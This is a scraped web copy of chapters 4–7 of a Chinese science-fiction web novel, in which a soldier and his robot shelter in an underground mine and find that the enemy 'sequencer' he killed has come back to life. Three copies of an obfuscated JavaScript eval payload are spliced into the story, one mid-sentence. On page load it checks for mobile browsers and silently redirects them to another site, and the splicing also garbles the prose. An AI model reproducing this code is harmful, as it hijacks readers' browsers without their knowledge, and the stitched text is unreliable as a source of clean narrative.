纪九瞥了眼机器人,发现它已经去了底舱。虽然面前是名重伤的序列者,他也不能掉以轻心,更不能贸贸然出手。 纪九缓下神情,语气平静地问:“你叫什么名字?什么军衔职位?” 序列者一言不发,看着纪九的目光里没有半分情绪,犹如两弘深不见底的寒潭,不知道那潭底蛰伏着什么,只让人后背发凉发紧。 “不愿意和我说话,还是伤势太重,说不出话?”纪九看似不经意地问。 序列者依旧没出声,舱内安静下来,只听见机器人在底舱搞出乒乒乓乓的动静。 纪九试探两句后,抬手探向腰后。 他的动作很慢,视线死死锁定序列者,不放过他的每一丝情绪变化,提防着他会有突然暴起的动作。 可直到纪九摸出匕首,序列者也没有任何反应,只就那么看着他。若不是期间眨了次眼睛,纪九都会怀疑他其实是不是一座雕塑。 纪九这下可以确定,这名序列者的虚弱程度已超出了他的预估。他终于放松下来,嘴角勾起一抹笑,缓步走向序列者身后。 “……不说话就能让我放过你吗?你杀过我们多少人?炸过我们多少栋房子?烧过我们多少座城?” 纪九绕到序列者身后,左手蒙住了他的眼睛,微微俯身,眼睛直视着前方,在他耳边低语:“要怪就怪你自己运气不好,和我遇到了同一颗流浪行星。” 说完这句后,纪九毫不犹豫地划动右手,匕首锋芒闪动,在身前人的脖子上拉出了一道深长的痕。 从纪九这个角度,可以看见鲜血瞬间涌出,从那条领带上淌过,滴滴落在了地面上。 他松开序列者的头,让他依旧靠坐在驾驶座上,自己则拿过旁边的一块布料,仔细擦掉匕首上的血渍。 4. 第 4 章 纪九收好匕首,四处查看,发现这艘舰的损毁情况比他那艘还要严重,曲率引擎和动力装置已成了碎片。 “纪九。”耳机里传来机器人的声音。 “说。” “我想取掉汞门阀,去修复我们的动力装置,但这艘舰的汞门阀也是坏的。” 纪九问:“能找到备用的吗?” “还没找到。”机器人顿了顿,“我发现底舱有被炮弹击中的痕迹,不止一处。” 纪九沉思两秒后转过头,看向驾驶座。 序列者的尸体依旧靠坐在座椅上,除了脖子上多了道血痕,看上去和之前也没有什么区别。 “难怪这么好杀,原来正在作战,肯定不止胸口那点伤。”纪九自言自语。 “纪九。” “说。” 机器人郑重道:“我有必要提醒你,再过一个小时,H58行星的地表气温会降到零下一百度。而在没有启动动力装置的情况下,星舰内温度下降很快,只能再维持半个小时左右。” 纪九下到底舱,看见舱内被翻得乱七八糟,各种配件零碎倾倒一地。 “所有的配件箱我都找过了。”机器人在四处打转,“怎么可能没有备用的汞门阀?任何星舰都会配上备用汞门阀。” 纪九突然走向垃圾处理箱,打开盖子,低头往里面看。 “不用找了,这艘飞行器现在使用的已经是备用品。” 舰内温度飞速下降,纪九离开底舱回到上层,重新裹上布料皮套和毛毯。 “现在怎么办?”机器人问。 纪九系着腰上的绳,紧抿着唇一声不吭。 “怎么办?”机器人驾着滑板左右来去,焦急踱步。 怎么办…… 纪九其实也不知道该怎么办。但事情越是紧急,他越是要求自己要冷静,一边将布料缠在身体上,一边思索能解决目前困境的方法。 机器人却觉得此路已堵,已理智地改换了另一条思路。 “你可以多说点话,我把你的发言都保存记录下来,成为你留在这世上最后的声音。我会将记录交给纪北宴,方便在你的葬礼上播放,同时还配上背景乐。对了,我建议配上一首《最后的矿场》,不管是曲风还是曲名,都和你的经历很贴合——” “等等!”纪九突然出声打断,又道,“最后那句话再说一遍。” “不管是曲风还是曲名——” “什么曲名?” “最后的矿场。”机器人解释,“H58行星曾经有很多矿场,因为没有最后的H58这首歌,所以用矿场代替也不错。” 纪九接着追问:“你的资料库里有没有H58的矿场分布图?” 机器人点头:“有。” “快看一下,离我们最近的矿场在哪里。” 机器人查阅资料,纪九屏住了呼吸,直到机器人说出最近的矿场就在左边一公里的地方,他才重重呼出口气,上前两步,俯身在机器人头顶狠狠亲了一口:“547,好宝贝儿。” “矿场曾经住着工人,那么肯定有取暖设备,我们直接去那里。”纪九边说边拉开舱门,凛冽寒风呼啸灌入,“雪地不好走,我们得赶紧出发,早一点到……” 他的声音逐渐消失,人也站在舱门前没动。机器人探过脑袋,看见那群钢鬣兽居然还聚集在飞行器一周,数量比刚才还要多。 见舱门开启,钢鬣兽群起了一阵骚动。它们赤红着眼往前冲,但又畏惧地后退,只用爪子难耐地刨动地面。 纪九砰地重新关上了舱门。 “怎么办?”机器人问,“我们的弹药已经用光,如果现在出去,你应该会被钢鬣兽咬死。我能设想出最好的局面,就是你没有死,只丢失了胳膊腿,然后冻死在去往矿场的路上。” “不要给我设想那么多死法,我死不了。”纪九转身走向另一边,站在了序列者的尸体前。 序列者像生前那般靠坐在驾驶座上,刚才开了两秒钟舱门,他眉毛上已经结了一层淡淡的霜,地面上的那片血渍也已经凝成了红色冰块。 “……我觉得将《最后的矿场》用在葬礼上挺不错,你真的不考虑一下吗?” “不考虑。”纪九拒绝。 机器人有些失望,纪九转头对它道:“快去找一架推车,我们现在出发,把他也带上。” 雪地反射着微弱天光,让H58行星的浓黑夜晚又透出一层灰沉的亮。一群钢鬣兽如同涌动的黑水,缓慢地漫过雪地,蜿蜒向前方。而那片黑水中却奇异地露出小片空地,像是隔离出的孤岛,当中行进着一大一小两道身影,身后还拖着一架推车。 纪九拄着一根金属棍,全身包裹得只露出一双眼睛,睫毛成了沉甸甸的两排白。机器人的滑板车轮已安上了防滑履带,发出全力前进的嗡嗡声。 他俩肩上都拽着绳,推车轮在雪地上拉出长长的辙。序列者的尸首躺在推车里,全身覆盖了一层冰雪。 “他身长190,所以车板也拉到了最长。如果我们把他拆卸成五块,就可以缩短车板,走起来会省很多力。”机器人道。 纪九咳嗽两声,喘着气道:“要尊重死者,哪怕是我们的对手,也不要侮辱尸体。” 推车轮卡在了两块石头缝里,纪九蹲下身去推石头。移动的钢鬣兽群也纷纷停步,既不想离去,却又保持着距离。 “它们很想咬你,但是不敢过来。”机器人道。 纪九推开石头,直起身继续往前,感叹道:“没想到这序列者活着时是个鬼,死了后就成了宝。等银盟军来接我们,就把这尸体也带回去,控干水分后碾成细末,做成小囊分给士兵们。平常辟邪镇宅,出任务时驱除恶兽。” 机器人转头盯着他,他又道:“我没有不尊重尸体。我们可以给那些小囊取个很尊重的名字,比如宝囊,神囊之类的,以表达对死者的尊敬和怀念。” 他说完便转过身,抬起手,动作小心地拂掉尸体脸上的冰雪。 序列者的脸庞重新露出,纪九一边走一边扭头看。 他觉得这人的长相实在是好,皮肤也没有僵成青白色,而是一种类似瓷器的白,在雪地的反光下,透出淡淡的清冷光泽。 不过纪九从来都很实际,就算对这副好相貌有些惋惜,但若需要他再对着这张脸的主人出刀,他也不会犹豫半秒。 在钢鬣兽群的包围和跟随下,纪九朝着矿场方向行进了半个小时。气温越来越低,他的手脚已经快失去知觉,只机械地一步步往前走。 “现现现在多少度了?”他两排牙齿撞击得快说不出连贯的话。 “接近零下五十度。” “还,还有多远?” “快了。” “我烦,烦这俩字,给,给点准确的。” “二十分钟。” 纪九的体能濒临极限,他已经感觉不到伤口的隐痛,只想一头倒下去,管他钢鬣兽还是零下一百度,就那样倒头就睡。 他闭上眼睛停下脚步,身体摇摇欲坠,但猛地又反应过来,用力咬了下舌头。淡淡的血腥味在口腔内散开,那股刺痛让他又清醒了一点。 “吴思琪,给,给我讲个笑话。” “我不会。” “那我给,给你讲。”纪九拽紧了肩上的绳,“这种天气,我撒尿,都要,要捡根棍儿,你知道,为,为什么吗?” “因为刚尿出来就冻成了冰条,你得边尿边用棍儿敲。”机器人平静地道,“这个故事很假,而且很老套,在我的信息库里已经出现了上千次。” 纪九拄着棍长长叹了口气:“真没意思。”又转头去问推车上的尸体,“你肯定觉得很好笑,是不是?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187186|150702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 尸体和机器人都沉默,纪九埋下头,顶着寒风大雪继续往前。可没走出几步,他又开始唱歌。 纪九深一脚浅一脚,沙哑的声音发着抖,全无音调只在干嚎。这声音在空旷的雪原上回响,刺激得周围的钢鬣兽也仰起头,发出一阵阵嘶吼。 “春风得意喜事多,陈连长洞房见老婆。高低肩,长短腿,凸胸缩脖驼个背。蒜头鼻,麻子脸,斜眼缺牙豁烂嘴。怎么是个柯塔鬼……” 他唱的是军队士兵们私下编的歌,歌词里的陈连长平常为人板正,不得士兵们喜爱,这次也去了赤牙城出任务,在星舰上都还在批评士兵没系好纽扣。 他就这样一遍遍地唱,对着机器人唱,对着钢鬣兽唱,偶尔还转头对着推车上的尸体唱。 直到机器人突然出声:“纪九。” 纪九停下了声音,机器人又道:“我们已经到了。” 纪九喘着气打量四周。这片雪原一览无余,但他只看见几座庞大的开采器伫立在前方,却没有看见任何房屋。 “这里的确是矿场,但是没有可以让我们避寒的建筑。”机器人道。 纪九的所有期盼在此时落空,失望浸入心脏,比这寒风还要冰冷噬骨。 他睁着发红的眼睛,不死心地往远处看:“吴思琪。” “说。” “你扫描下附近,也许房屋离得比较远,我们看不见。” “我已经查探过了,这附近的确没有任何建筑。” “不不不,肯定有,肯定有。”纪九抬起手蒙住额头,似乎这样就能让自己冻得发木的脑子转得更迅速,“冷静点,冷静,肯定有……有矿场就有工人,有工人就会有房屋。” “纪九——” “对了,你记得我们白天看到的那只孚鼠吗?”纪九打断它。 “记得。” “孚鼠没有钢鬣兽那么抗寒,但它居然也能在H58上存活……”纪九猛地放下手,急切地道:“你扫描地下,孚鼠能在地洞里存活,说明这颗星球有地热,那么矿场的工人住宿点应该修建在地面以下。” 机器人立即应声,并开始扫描地表以下。 片刻后,它对着纪九道:“我探测到我们脚下为中空结构,根据空间的形状判断,地下应该有建筑。” 纪九绕着圈寻找,钢鬣兽也跟着左右移动,显出了地上的一座方形凸起,一米见方,不到半尺高。 待到抹去表面的积雪,露出金属表面和密码锁,不用纪九吩咐,机器人便将锯线探入,几秒时间便开了锁。 一阵吱嘎吱嘎的声音,地面移动,积雪掉落,露出一条斜斜向下的漆黑通道。 “你在这儿等着,我下去看看。”纪九道。 他在机器人的光束照射中走入通道,耳边的风雪声消失,钢鬣兽的吼叫也变得遥远,只听见拄着的棍子在金属地面上撞出笃笃声响。 走出一段后,他停下脚步,转过身。 “怎么样?”机器人在通道口问。 纪九摘下覆在脸上的布,半眯起被灯光照射的眼,冲着机器人慢慢露出了一个笑。 他虽然面色苍白,嘴唇还发着抖,但那张带着笑容的脸却无比俊朗。 “我就说我死不了!”他冲着机器人一声大吼,“来吧宝贝儿,快来享受阳光和温暖,椰树和沙滩。” 机器人急忙开着滑板车往下走,纪九见推车还停在通道口,又道:“带上那个镇宅宝,别搞丢了,我们还要靠他才能在地面上行走。” 机器人拉上推车进入通道,纪九再关上通道门,确保冷空气和钢鬣兽不能进入。 温度陡然回升,暖意融融,和地面就像是两个世界。纪九脱掉一身负重,抹干头脸上化开的雪水,按下了墙上开关。 唰唰几声响,头顶数盏灯光亮起,眼前一片雪亮。 5. 第 5 章 纪九闭上眼,待到适应光线后慢慢睁开,眼前出现一个偌大的空间。 中间是片空地,堆放着乱七八糟的仪器设备,尽头处还立着一架灰扑扑的篮网。左右分别有两排平房,应该是矿工宿舍和工作区。 高空中的换气设备发出嗡嗡响声,巨大的扇叶开始转动,新鲜空气吹走了陈旧霉腐的味道。 “把镇宅宝放这儿,我们去工作区看看。”纪九提步走向空地左边的工作区,“那里肯定有星际联络器,希望还能使用。” 机器人跟上,纪九走出几步后又道:“这里太安静了,来点音乐。” “你想听什么?”机器人打开了扬声器。 纪九冲它打了个响指:“最后的矿场。” 哀哀戚戚的音乐声在空间内响起,纪九将工作区那排房间门一一推开,进入了其中一间房。 这间房的右墙边搁着一台通讯设备,蒙着厚厚一层灰。纪九伸手按下开关,仪器没有任何反应。 机器人道:“这种星际通讯设备在很多年前就已经淘汰,内部锈蚀应该很严重。” 纪九皱起眉:“修这个和修我们飞行器上的通讯器,哪个更简单?” 机器人探出锯线,片刻后道:“都不简单。” “非要选一个呢?” “这个吧。我检查过我们的通讯器,零件已经碎了,这个的零件很完整。但是我只会检查,不会修理。” 纪九想了想:“那明天我再来修它,今天太累了,我想早点休息。” 他虽然现在就想修好通讯器,但受过伤,又在冰天雪地里走了那么久,看似精神状态还不错,其实身体已经有些撑不住。 纪九离开屋子,却没有立即去宿舍区,而是来到了推车旁。 序列者的尸体就躺在推车里,头脸上覆着一层细密的水珠。纪九已经不惊讶他看着就似睡着了般,却有些惊讶经过这一路折腾,那身军装依旧笔挺。 胸口扎入的金属条之前已被纪九拔掉,那处只有个不明显的破洞,胸前一片也没有沾染上血痕。 “塔柯军的待遇还是不错的,军装都用最好的材料,防水防污,既柔软又有筋骨。”纪九看着自己身上板结发硬的上衣,语气有些酸。 “要把他推进屋子里去吗?”机器人问。 “那倒不用。”纪九想了想,“尸体放这儿不会臭吧?这生活区温度挺高。” “我们可以把他推到地面上去,就像放进冰柜里。”机器人出主意。 “太麻烦了,不想动。”纪九摆摆手,“就搁这吧,一晚上不会臭的。这生活区里肯定有厨房,明天白天我给他找个冰柜。” 纪九随便选了一间宿舍,潦草地掸掉沙发上的尘土,脱掉外套便躺了下去。 “纪九,每间宿舍的柜子里都有密封好的被子,我看了下,全都是好的……纪九,喝一支营养剂。” 纪九连睁眼的力气都没有,也不想抬手,机器人将被子搭在他身上,又将营养剂凑到他嘴边喂了下去。 “纪九,你应该喝药了。” 纪九张嘴,喝下了药片和热水。 “嘶……你在做什么?”纪九手臂刺痛,终于睁开了眼。 “给你打了抗生素和强心针。”机器人举着明晃晃的空针管。 纪九叹气:“我不会死,不要再给我注射强心针了。” “可是就剩下这一针,不注射掉很浪费。” “浪费就浪费吧,你再扎强心针的话,我就快被你扎死了。” “既然快死了,那就更要扎强心针了呀。”机器人振振有词。 若是平常,纪九会和它开两句玩笑,但现在只想安静睡觉。机器人收拾好一应物品后,见他闭上眼,便也关上了灯。 纪九迷迷糊糊就要睡着,机器人却在墙角制造出砰砰动静。他忍无可忍地问:“吴思琪,你在做什么?” “我要给自己充电,但是电源插座有些高,我够不着。” “你充一次电管半年,上周才给充满,现在充什么电?” 机器人沉默两秒:“可是我喜欢电量的标志很满。” 纪九只得道:“床头有个矮插座,你去那儿充。” 机器人终于充上了电,屋内也安静下来。但没过上半分钟,黑暗里又响起纪九的声音。 “吴思琪。” “说。” “你去看看镇宅宝。”纪九顿了顿,“你注意过没有?他看上去没有半点死人样,我总是有些不放心,怀疑他要诈尸。” “好。”机器人立即准备去门口。 “等等。”纪九费力地撑起身,“还是我去,你那滑板车有声音,会打草惊尸。” 纪九极缓极轻地拉开了房门,换气扇的嗡嗡声传了进来,显得这处空间格外安静。 他慢慢探出头,看见那辆推车还停在空地边缘,从这个角度,也能看见车板上那具一动不动的尸体。 “诈尸了吗?”机器人在身后很小声地问。 “没有。”纪九重新关门:“睡吧。” 房门合拢,发出砰一声响,整个生活区重新陷入安静。 空间顶部的换气装置不停运转,巨大的扇叶在地面上投下晃动的影子。 影子很有节奏地掠过推车和平躺着的序列者尸体,也让那张英俊冰冷的脸庞很有节奏的忽明忽暗。 序列者的脸上没有什么表情,嘴唇自然闭合,但一双眼睛不知道什么时候已经睁开,幽深黑瞳直视着上空。 安静中,那垂搭在身侧的手指突然动了动,手肘跟着曲起,再撑起身,慢慢从车板上坐起。 他转动脖子,颈骨发出轻微的咔咔声。再伸手摸了下颈部,摸到那条已经凝成痂的血痕,保持这个姿势停顿了两秒,接着抬腿下地。 序列者打量着这个大厅,视线落在住宿区的某扇房门上,眼里闪过一道森冷的光。他思索了两秒,还是转过身,走向了通往地面的那条长斜坡。 他脚步拖曳迟缓,每走出几步便会撑着身旁墙壁休息。用了好几分钟才走到通道口,拿起靠墙的一根铁棍,打开了通道门。 门开的瞬间,凛冽寒风卷着雪片涌入,通道墙壁发出一阵窸窣声响,爬上了一层冰霜。 序列者站在通道外的厚沉积雪上。灯光从背后勾勒出他的高大身形,单手握棍,双腿微微分开,虽然虚弱,却背部挺直,站得很稳。 那群钢鬣兽原本分散在通道口一周,现在都汇聚在了一起,却只冲着他咆哮低吼,凶狠中带着忌惮。 序列者朝离得最近的一只钢鬣兽走去,铁棍拖在雪地上,拉出一道长长的深辙。那只钢鬣兽前一秒还跃跃欲试地扑出,后一秒便呜鸣一声转身开逃。 序列者像是想要捕杀一只钢鬣兽,但只要他前进,兽群便后退。他停步,兽群也跟着停下,始终和他保持着一段距离。 几次过后,序列者神情看不出什么异常,但胸脯有些急促地起伏。他休息片刻后,没有再继续尝试捕杀钢鬣兽,而是重新走向地下生活区。 序列者站在大厅空地上,看着住宿区的某扇房门。他的脸背着光,在那挺拔鼻梁的阴影里,嘴唇形成一个冷酷的弧度。 他走向那堆乱七八糟的仪器,捡起一根细如蚕丝的金属线,再拆掉一个轮盘装置,取出里面的散热片。 散热片尺余长,边缘薄,像是一把锋利的刀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187187|150702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪九今晚睡了场好觉,第二天醒来,只觉身体和精神都好了不少。待机器人检查过伤口又换了药,便叼着一支营养剂走出了房间。 他先去看了序列者尸体,站在推车旁,将营养剂的细管嘬得吱吱响。 尸体看上去和昨晚没有什么不同,板正地躺着,一只手搁在身侧,一只手搭在小腹上。皮肤颜色也没有改变,眼睛和嘴唇自然闭合,颈间横着一道又厚又宽的血痂。 纪九凑近了些,在尸体上方抽动着鼻子嗅闻,一直闻到了尸体耳旁。在确定没有什么异味后,才满意地站直身,朝尸体举了举营养剂:“阿宝,早。” 纪九去到通道口,将头顶的门板往旁推开了一条缝,耀眼的恒星光芒射入缝中。 现在才早上七点,但H58行星的地面气温已回升到了20多度。地上的积雪已经消失,虽然被雪水浸过的泥土颜色稍深,但那水气也在快速消散中。 纪九想要探出头看看周围,便听见了钢鬣兽的吼叫,又砰地拉合上了通道门。 他准备先洗个澡,再修理联络器,争取早一点和军部取得联系。但刚走入空地,机器人就从宿舍里冲了出来,已经被尘土糊得看不出原本的银白底色。 “这个任务太难了。我刚擦干净桌子,去整理床铺,桌面上又积满了灰。”机器人气急败坏地冲着他喊。 纪九叹了口气:“你不知道抹灰要用水的吗?就这样干擦,那肯定不行的。” “我又不是家政机器人,这些资料都没有储存。而且我只带来了你的饮用水,如果有其他用水需求,就要回舰上去取。”机器人很是不满。 纪九左右打量,看见篮板旁边有排水槽,上面伸着七八根水龙头。H58并不干旱,这地方又一直空置着,没有遭受破坏,想来抽水系统也应该完好。 水槽前方堆着一些仪器设备,只在中间留下了一条小道。纪九在仪器间穿行,边走边在心里琢磨。 ……我的士兵肯定在找我,但没人会想到H58,王子异要聪明点,他也许能想到我到了其他星域……得赶紧联系上纪北宴,免得他着急…… 纪九就要走出这条小道,余光突然瞥到身前有什么闪了下,像是极细的蜘蛛丝,在某个角度里闪了下银光。 接着胸口微微一滞,撞上了一条绷紧的线。 纪九立即停步,在数次战斗中练就出的本能,让他感觉到似有危险逼近,便毫不犹豫地俯下身。 他刚刚蹲下,头顶便有什么东西呼啸而过,带起一股冰凉的风。他迅速抬头起身,看见一块金属片在半空中荡远,然后又荡了回来。 纪九在它再次接近时,一把抓住了它上方的银丝,将金属片拿在手里。 他认出这是一种散热片,边缘处很是锋利,轻轻摸了下,指腹顿时出现了一条血口。 散热片中部有个小环,柔韧的银碳丝缠在上面。纪九研究了一小会儿,觉得是散热片一直放在高处,自己撞上了银碳丝,便将它给扯了下来。 若不是反应快,差一点就被腰斩。纪九有些后怕地摸了摸自己后背,将那根还挂在空中的银碳丝扯掉,连着散热片一起扔进旁边的仪器堆。 “你站在那里做什么?”机器人站在宿舍区大声问。 这会儿功夫,它已经给自己脑袋上搭了一块布料,像一顶三角巾帽子,下巴上系了个结。 “没什么,发发呆。”纪九回道。 “你不去找水吗?你不知道抹灰要用水的吗?如果我就这样干擦,那肯定没法完成任务。” “行了行了,我知道了。”纪九边走边低声嘀咕,“当初就不该将它的情感情绪值调到百分百。真是的,比纪北宴还要烦。” 6. 第 6 章 纪九没有再去管那散热片,直接走到水槽前。水管里果然没有半滴水,但抽水机就在水槽旁边。他用工具修理了片刻,水管深处传来隆隆声音,一股浑浊的黄水携着锈块涌出了水龙头。 待到流出的水逐渐变得清亮,机器人喜气洋洋地端水去打扫宿舍卫生。 “等会儿把那间办公室也打扫一下,我要去修理通讯设备,别蹭我一身灰。”纪九道。 “知道。” 纪九闻了闻自己,决定洗个澡。他飞快地脱掉上衣,露出劲瘦的腰肢和线条流畅的肩背,皮带搭扣轻响,作战服长裤滑落到地面,两条修长笔直的腿暴露在空气中。 H58地下温度挺高,但这水却冰凉浸骨,他用手蘸了一点拍在身上,依旧冷得打了个哆嗦,寒意从身体直达天灵盖。 “嗬!”他被激得一声大喝。 机器人提着一个袋子滑了过来。 “这是我刚找到的清洁皂,有些干硬,但是还能洗澡。这个是密封包装的浴袍,没有氧化。还有这个防水胶布,你贴在伤口上。” 机器人交代完毕后离开,纪九动作迅速地涂抹清洁皂,想快点结束这场冷水澡。 坚硬的清洁皂滑过腰际,隐隐有些作痛。他抹开那处泡沫,显出下面的光滑皮肤。 虽然胸膛上的淤青已经散去,但腰上还留有几个清晰的指痕,他伸手按了下,依旧能感觉到胀痛。 这指痕让纪九又想起了那件发生在自己身上的事,心里越来越确定,心情也顿时沉到谷底,眼里浮起了寒意。 他不想去怀疑自己的士兵,却又忍不住地去回忆那道身影,再和自己的士兵一一比对,想找出那个人究竟是谁。 可他当时处于半昏迷状态,所见一切都不真切,那道人影就像纸上晕开的墨团,边缘不清,含混不明。 会不会是陈任? 他一直黏黏糊糊的,我上个厕所他都要跟着。现在想起来,他平常看我的目光就有些不对劲。 或者是刘成云? 他表现得老实,但也许是装的。现在想起来,他平常看我的目光就有些不对劲。 吴非? 现在想起来,他平常看我的目光就有些不对劲。 纪九将自己的士兵逐一回忆,最后觉得谁都像,但谁都没有那么大的胆。 狗东西疯了吧?都在逃命了还想着搞老子? 纪九越想,心里的那股怒气越甚,石头般坚硬的清洁皂都被捏出了裂痕。最后他恨恨咬牙,暗忖回去后一定要找出那个人,出了心头这口恶气。 机器人在认真打扫宿舍,纪九背对着空地洗澡,两个都没有注意到,那架推车虽然还停放在空地边缘老位置,但里面的尸体已经不见了影踪。 工作区的某间屋子里,序列者正坐在椅子上。 他不紧不慢地挽起衣袖,露出两截结实小臂,再拿起钳子,动手拆掉面前那台仪器的外壳。 他神情平静,只是依旧很虚弱,手有些不稳,重复了几次才拧出一块圆形零件,用钳子夹碎后,再重新放了进去。 最后,他将仪器恢复,看见外壳上留下了清晰的指痕,便将那层灰土抹平。 他坐在椅子上休息了两分钟,这才放下衣袖,调整好领带位置,再慢慢撑起身,走出了屋子。 序列者穿行在仪器遮挡的阴影里,脚步无声无息。右侧传来哗哗水声,从仪器空隙里能看见纪九的身影。 纪九还在洗澡,沾着水珠的肌肤在灯光下闪着莹润的光,水流顺着那起伏的优美线条往下淌落。他将一桶水兜头淋下,闭着眼左右甩头,头发在空中甩出一片水珠。 序列者收回视线,从衣兜里掏出一条手帕擦拭手指,径直走向了推车。 纪九洗完澡,穿上浴袍,机器人也打扫好了宿舍,端着水去了工作区。 “宝贝儿,累了就放着我来干。”纪九将一块光滑的金属板当做镜子,微微俯身,用手扒拉着自己很短的头发。 机器人拒绝:“这是我的工作。” 等到机器人打扫好放置通讯设备的房间,纪九也把自己收拾完毕。他对着金属板左右照了遍,这才满意地转身,去那屋子里修理设备。 半个小时后,机器人端着水壶进屋,看见纪九坐在设备前,两条长腿伸出浴袍,两手垂搭在膝盖上。 “纪九,喝点热水。”机器人道。 纪九保持着原姿势没有动,声音闷闷地响起:“吴思琪。” “说。” “这台星际光波通讯器修不好了。”纪九长长叹了口气,“我们没法和军队联系,只能等着他们找到我们。” 机器人有些茫然:“我昨天检查过的,设备部件都没有损毁,只是太久没有启用,清理一下就行。” 纪九头也不抬地扬手,将一个圆形物体抛给它。 机器人接过看了眼:“传感器坏了。” 纪九沉默地坐着,机器人将滑板车停在他身旁,不断打量着机械手里的传感器。 “可是昨天都是好的。”机器人茫然地念叨,“我的机械检修在同批机器人里表现为A,我是不会出错的。可它怎么是坏的?它怎么就坏了?” 纪九满心沮丧,随口道:“那就是刚刚坏掉的。” 机器人释然:“原来是刚刚坏掉的,我就说我是不会出错的。” 刚刚坏掉的…… 纪九咀嚼着这句话,脑中突然闪过一个念头。 他猛地直起身:“吴思琪。” “说。” “你刚才打扫卫生的时候,有没有发现这屋子里有什么异常?” “你指的异常是哪方面?”机器人问。 纪九看向那已经被机器人擦得锃亮的设备,问道:“地板有没有其他人的脚印?” “没有。” “你擦拭灰尘前,这台仪器外壳上的灰尘多吗?有没有被人碰过的痕迹?” “没有发现被碰过的痕迹。”机器人想了想,“但是灰尘不多。” “灰尘不多?” “挺干净。” 纪九没有再问,只半眯眼注视着设备,片刻后缓缓开口:“没有碰过的痕迹,没有脚印,也许只是被人抹掉了而已。” 纪九带着机器人离开房间,走向通道口方向。他远远盯着那架停在空地边缘的推车,垂在浴袍衣袖外的手里握着一把匕首。 “诈尸了吗?”机器人小声问。 纪九也小声回道:“不知道。” “你为什么认为是他干的?” “因为这地下只有三个人。我,机器人,死人。” “不是机器人干的。”机器人连忙道。 纪九朝前抬了抬下巴:“那就只能是死人。” 走入小道时,纪九瞧见了那随手搁在仪器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187188|150702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的散热片,心头一动,停下了脚步。 他刚才没有仔细检查,现在拿起散热片认真查看,用手指去摸被银碳丝缠住的小孔,发现指腹上没有沾染半点灰尘。 “……原来是刚系上去的线,这是给我做了个机关。”纪九捻动手指,发出了一声冷笑。 距离推车还有七八米,机器人便急匆匆地提速。纪九将它扯住,让它等在原地,自己一个人走了过去。 序列者尸体依旧维持着平躺姿势,看上去和之前没有什么区别。纪九瞥了眼他脚上的黑色皮鞋,见鞋底没有尘土,便又看向他搭在小腹上的手。 那只手骨节分明,手指修长,皮肤苍白,指腹也很干净。 纪九绕着推车踱步,匕首在推车沿上一下下敲击,不急不缓,不轻不重。 他绕了推车一圈后,站在尸体左侧,微俯下身,端详尸体的脸。 “阿宝,是你吗?”他轻声问。 纪九的视线在尸体的睫毛、鼻梁和唇上缓缓游走,不放过可能会出现的任何一丝变化。 机器人一直紧张地站在不远处,脸部屏幕上的眼睛都缩成了两个针尖,见到纪九站直了身,赶紧问:“诈了吗?” 纪九没有回答,垂眸看着尸体颈部上的那道血痂。 宽而厚的红黑色血痂盖住了整个伤口部位,但左侧末端已经干燥开裂,脱离皮肤后微微上翘,露出的那一小块肌肤上,并没有伤口痕迹。 纪九脸色微变,却若无其事地收回视线,对着机器人笑了笑:“没诈。” 话音刚落,他整个人已闪到了尸体头顶方向,动作迅捷得如一道光影。 下一秒,匕首便已横到了尸体的颈间,同时唰一声揭掉了那层血痂。 血痂被撕掉,序列者的整个颈部暴露在纪九眼底。 ——喉结凸起,皮肤完整光滑,找不出半分伤口。 虽然已经有了思想准备,但看见这一幕后,纪九还是愣在了原地。机器人也失去了反应,屏幕变成了一团黑。 而序列者那紧闭的眼睛已经睁开,和头顶方向的纪九对视着,一双黑瞳幽深无波。 纪九清楚地记得抹这人脖子时的情景,记得那涌出的鲜血和伤口,也清醒地认识到这人其实已经是个死人。 他活了二十四年,还是第一次见着有人死而复生,只觉得既诡异又瘆人,握着匕首的手控制不住地发抖,掌心也不断渗出汗水。 “你杀不死我。”序列者开口,声线低沉,语气平静。 纪九从惊骇中回过神,艰难地吞咽了几次,才终于找回了自己的声音。 “是吗?”他哑声问道。 “难道不是?”序列者反问,“你已经试过了,对我没有用。” 纪九下意识脱口问出:“你是人还是鬼?” 话刚出口,他就从那双黑瞳里捕捉到了一丝讥诮,立即反应过来自己问了个愚蠢的问题。 “我是鬼。”序列者却回道。 纪九当然不相信。 他强行让自己冷静下来,锈住的脑子也开始飞速转动。 不是鬼,不是鬼。 对了,他不是普通塔柯人,他是序列者! 序列者…… 高阶序列者能自行修复受创的身体,如同有着九条命的猫,轻易无法杀死! 完了。 这是遇到了一名高阶序列者。 7. 第 7 章 纪九脑中一团乱。 